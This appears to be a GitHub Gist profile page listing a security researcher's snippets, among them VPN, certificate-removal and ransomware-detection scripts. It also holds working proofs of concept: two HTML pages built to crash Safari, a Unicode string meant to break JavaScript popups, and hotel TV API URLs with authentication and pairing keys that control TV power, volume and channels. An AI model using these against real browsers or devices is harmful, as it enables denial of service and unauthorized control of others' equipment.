Skip to content

Instantly share code, notes, and snippets.

View jgamblin's full-sized avatar

Jerry Gamblin jgamblin

View GitHub Profile
@jgamblin
jgamblin / grepips.py
Created May 20, 2015 20:12
Python script to grep homepages on a subnet and will report if text is found.
#!/usr/bin/env python
# Name: grepips
# Purpose: #!/usr/bin/env python
# Name: grepips
# Purpose: grep a subnet and report if text is found.
# By: Jerry Gamblin
# Date: 20.05.15
# Modified 20.05.15
# Rev Level 0.1
## -----------------------------------------------
@jgamblin
jgamblin / noalert.html
Last active August 29, 2015 14:22
Evil Unicode Kills JavaScript PopUp
<!DOCTYPE html>
<html>
<body>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
<TITLE>effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗</TITLE>
</head>
<p>Evil Unicode Wont Allow Popup:</p>

Keybase proof

I hereby claim:

  • I am jgamblin on github.
  • I am jgamblin (https://keybase.io/jgamblin) on keybase.
  • I have a public key whose fingerprint is 7FA0 DD59 A306 1072 E08C 814D C8CD 66A3 EFCE A51D

To claim this, I am signing this object:

@jgamblin
jgamblin / Kali 2.0 ISO Build
Created August 8, 2015 02:49
Build Your Own Kali 2.0 ISO
##################################################################
Install live-build
##################################################################
sudo apt-get isntall live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git
@jgamblin
jgamblin / Del_China_Gov_Certs_OSX.SH
Last active October 23, 2015 14:02
Del_China_Gov_Certs_OSX.SH
#!/bin/bash
# Deletes CNNIC Root Certs from OSX 10.10.3
# WARNING: DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING (BECAUSE I DONT)
# IT WILL PROBABLY INSTALL WINDOWS 98 ON YOUR MAC.
function remove {
echo "Removing ${1}"
sudo security delete-certificate -t -Z $2 /System/Library/Keychains/SystemRootCertificates.keychain
}
@jgamblin
jgamblin / Unified-Cloud-Formation-WithAutoUpdate.json
Created November 3, 2015 20:12
Webdigi VPN with AutoUpdate
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "Setting up your own private and secure VPN. You can read instructions on our blog https://www.webdigi.co.uk/blog/2015/how-to-setup-your-own-private-secure-free-vpn-on-the-amazon-aws-cloud-in-10-minutes/ and you can follow video instructions on Youtube https://www.youtube.com/watch?v=fBBERp5CUgo",
"Mappings": {
"AWSInstanceType2Arch": {
"High.Speed.VPN-Paid": {
"InstanceType": "t2.medium"
},
"Standard.VPN-Free": {
"InstanceType": "t2.micro"
@jgamblin
jgamblin / cfd.py
Created December 21, 2015 13:29
CryptoLocker File Detection Script
import time
import sys
import os
from os import walk
files=[]
alphabet = 'CDEFGHIJKLMNOPQRSTUVWXYZ' #List of drives to search
alphabet = list(alphabet) #Turning above string into iterable list
StringMatch="zeug" #This is the magic string found in the file
log=open("Encrypted-log-%s.txt" % str(time.strftime("%d-%m-%H-%M")), 'ab', 0)
@jgamblin
jgamblin / crashsafari.html
Created January 26, 2016 00:07
crashsafari
<!DOCTYPE html>
<html>
<body>
<h1>Crash Safari</h1>
<script>
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
@jgamblin
jgamblin / crashsafari.html
Created March 19, 2016 23:12
Crash Safari
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<a href="#" ping="file://%00/%00/x">Crash Safari</a><script>document.querySelector('a').click();</script>
</body>
</html>
@jgamblin
jgamblin / gist:7b8ecf8a0544d3b70cc5e53fb7c77e50
Created May 8, 2016 20:23
Hijacking a @sonifisolutions TV
TV Power:
https://rci.lodgenet.com/mobile.php?method=tvOff&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a
https://rci.lodgenet.com/mobile.php?method=tvOn&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a
Sound:
https://rci.lodgenet.com/mobile.php?method=tvVolume&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&volumeLevel=0
https://rci.lodgenet.com/mobile.php?method=tvVolume&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&volumeLevel=30
Change Channel:
https://rci.lodgenet.com/mobile.php?method=tuneTV&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&channelID=8